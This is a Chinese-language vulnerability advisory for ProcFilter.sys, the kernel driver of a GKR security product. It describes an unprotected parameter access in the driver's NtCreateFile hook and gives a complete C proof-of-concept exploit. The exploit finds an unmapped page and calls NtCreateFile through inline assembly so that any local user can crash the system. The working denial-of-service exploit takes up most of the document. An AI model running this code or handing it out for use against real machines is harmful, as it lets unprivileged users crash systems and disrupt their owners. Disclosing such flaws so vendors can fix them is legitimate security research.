中嘉华诚内核加固免疫系统GKR系列产品是北京中嘉华诚网络安全公司开发的一款安全防护软件,其内核驱动ProcFilter.sys (编译日期 = 2009.8.7 ,因该产品制作不规范,没有版本信息,因此以驱动编译日期为准) 存在多处本地内核拒绝服务漏洞,任意权限的用户可以构造特殊参数调用系统服务,引发系统崩溃
漏洞细节: ProcFilter.sys的作者没有内核安全编程常识,没能正确理解内核驱动中缓存处理的安全方法,例如NtCreateFile的钩子中,仅仅在对传入的用户态参数进行Probe时使用了try_except ,在Probe完毕后就在没有SEH保护下进行了参数访问,因此引发了蓝屏
漏洞利用代码:
#include "stdafx.h" #include "windows.h" #include "winternl.h" int main(int argc, char* argv[]) { printf("GKR ProcFilter.sys <= 2009.8.7 Local D.O.S Vuln POC\n" "Press Enter\n");
getchar(); ULONG i ;
for (i = 0x1000 ; i < 0x7fff0000 ; i+=0x1000) { if (IsBadReadPtr((PVOID)i , 1)) { break ; } } printf("bad page :%08x\n",i);
OBJECT_ATTRIBUTES oba ; UNICODE_STRING uniname ;
oba.ObjectName = &uniname; uniname.Length = 0x24 ; uniname.Buffer = (PWSTR)i; PVOID proc = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateFile");
__asm { push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0 lea eax , oba push eax push 0x40000102 push 0 call proc }
return 0; }
|